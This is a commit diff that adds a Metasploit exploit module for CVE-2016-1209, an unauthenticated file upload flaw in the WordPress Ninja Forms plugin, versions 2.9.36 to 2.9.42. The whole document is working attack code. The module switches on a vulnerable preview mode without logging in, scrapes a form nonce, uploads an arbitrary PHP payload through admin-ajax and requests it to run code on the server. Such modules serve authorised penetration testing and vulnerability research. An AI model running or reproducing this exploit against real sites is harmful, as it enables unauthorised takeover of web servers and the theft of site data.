Land rapid7#6909, Add WordPress Ninja Forms unauthenticated file upload

modules/exploits/unix/webapp/wp_ninja_forms_unauthenticated_file_upload.rb

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+##
+# This module requires Metasploit: http://www.metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::FileDropper
+  include Msf::Exploit::Remote::HTTP::Wordpress
+
+  def initialize(info = {})
+    super(update_info(
+      info,
+      'Name'            => 'WordPress Ninja Forms Unauthenticated File Upload',
+      'Description'     => %(
+        Versions 2.9.36 to 2.9.42 of the Ninja Forms plugin contain
+        an unauthenticated file upload vulnerability, allowing guests
+        to upload arbitrary PHP code that can be executed in the context
+        of the web server.
+      ),
+      'License'         => MSF_LICENSE,
+      'Author'          =>
+        [
+          'James Golovich',                 # Discovery and disclosure
+          'Rob Carr <rob[at]rastating.com>' # Metasploit module
+        ],
+      'References'      =>
+        [
+          ['CVE', '2016-1209'],
+          ['WPVDB', '8485'],
+          ['URL', 'http://www.pritect.net/blog/ninja-forms-2-9-42-critical-security-vulnerabilities']
+        ],
+      'DisclosureDate'  => 'May 04 2016',
+      'Platform'        => 'php',
+      'Arch'            => ARCH_PHP,
+      'Targets'         => [['ninja-forms', {}]],
+      'DefaultTarget'   => 0
+    ))
+
+    opts = [OptString.new('FORM_PATH', [true, 'The relative path of the page that hosts any form served by Ninja Forms'])]
+    register_options(opts, self.class)
+  end
+
+  def print_status(msg='')
+    super("#{peer} - #{msg}")
+  end
+
+  def print_good(msg='')
+    super("#{peer} - #{msg}")
+  end
+
+  def print_error(msg='')
+    super("#{peer} - #{msg}")
+  end
+
+  def check
+    check_plugin_version_from_readme('ninja-forms', '2.9.43', '2.9.36')
+  end
+
+  def enable_v3_functionality
+    print_status 'Enabling vulnerable V3 functionality...'
+    res = send_request_cgi(
+      'method'    => 'GET',
+      'uri'       => target_uri.path,
+      'vars_get'  => { 'nf-switcher' => 'upgrade' }
+    )
+
+    unless res && res.code == 200
+      fail_with(Failure::Unreachable, 'Failed to enable the vulnerable V3 functionality')
+    end
+
+    vprint_good 'Enabled V3 functionality'
+  end
+
+  def disable_v3_functionality
+    print_status 'Disabling vulnerable V3 functionality...'
+    res = send_request_cgi(
+      'method'    => 'GET',
+      'uri'       => target_uri.path,
+      'vars_get'  => { 'nf-switcher' => 'rollback' }
+    )
+
+    if res && res.code == 200
+      vprint_good 'Disabled V3 functionality'
+    else
+      print_error 'Failed to disable the vulnerable V3 functionality'
+    end
+  end
+
+  def generate_mime_message(payload_name, nonce)
+    data = Rex::MIME::Message.new
+    data.add_part('nf_async_upload', nil, nil, 'form-data; name="action"')
+    data.add_part(nonce, nil, nil, 'form-data; name="security"')
+    data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"#{Rex::Text.rand_text_alpha(10)}\"; filename=\"#{payload_name}\"")
+    data
+  end
+
+  def fetch_ninja_form_nonce
+    uri = normalize_uri(target_uri.path, datastore['FORM_PATH'])
+    res = send_request_cgi(
+      'method' => 'GET',
+      'uri'    => uri
+    )
+
+    fail_with Failure::UnexpectedReply, 'Failed to acquire a nonce' unless res && res.code == 200
+    res.body[/var nfFrontEnd = \{"ajaxNonce":"([a-zA-Z0-9]+)"/i, 1]
+  end
+
+  def upload_payload(data)
+    res = send_request_cgi(
+      'method'  => 'POST',
+      'uri'     => wordpress_url_admin_ajax,
+      'ctype'   => "multipart/form-data; boundary=#{data.bound}",
+      'data'    => data.to_s
+    )
+
+    fail_with(Failure::Unreachable, 'No response from the target') if res.nil?
+    vprint_error("Server responded with status code #{res.code}") if res.code != 200
+  end
+
+  def execute_payload(payload_name, payload_url)
+    register_files_for_cleanup("nftmp-#{payload_name.downcase}")
+    res = send_request_cgi({ 'uri' => payload_url, 'method' => 'GET' }, 5)
+
+    if !res.nil? && res.code == 404
+      print_error("Failed to upload the payload")
+    else
+      print_good("Executed payload")
+    end
+  end
+
+  def exploit
+    # Vulnerable code is only available in the version 3 preview mode, which can be
+    # enabled by unauthenticated users due to lack of user level validation.
+    enable_v3_functionality
+
+    # Once the V3 preview mode is enabled, we can acquire a nonce by requesting any
+    # page that contains a form generated by Ninja Forms.
+    nonce = fetch_ninja_form_nonce
+
+    print_status("Preparing payload...")
+    payload_name = "#{Rex::Text.rand_text_alpha(10)}.php"
+    payload_url = normalize_uri(wordpress_url_wp_content, 'uploads', "nftmp-#{payload_name.downcase}")
+    data = generate_mime_message(payload_name, nonce)
+
+    print_status("Uploading payload to #{payload_url}")
+    upload_payload(data)
+
+    print_status("Executing the payload...")
+    execute_payload(payload_name, payload_url)
+
+    # Once the payload has been executed, we can disable the preview functionality again.
+    disable_v3_functionality
+  end
+end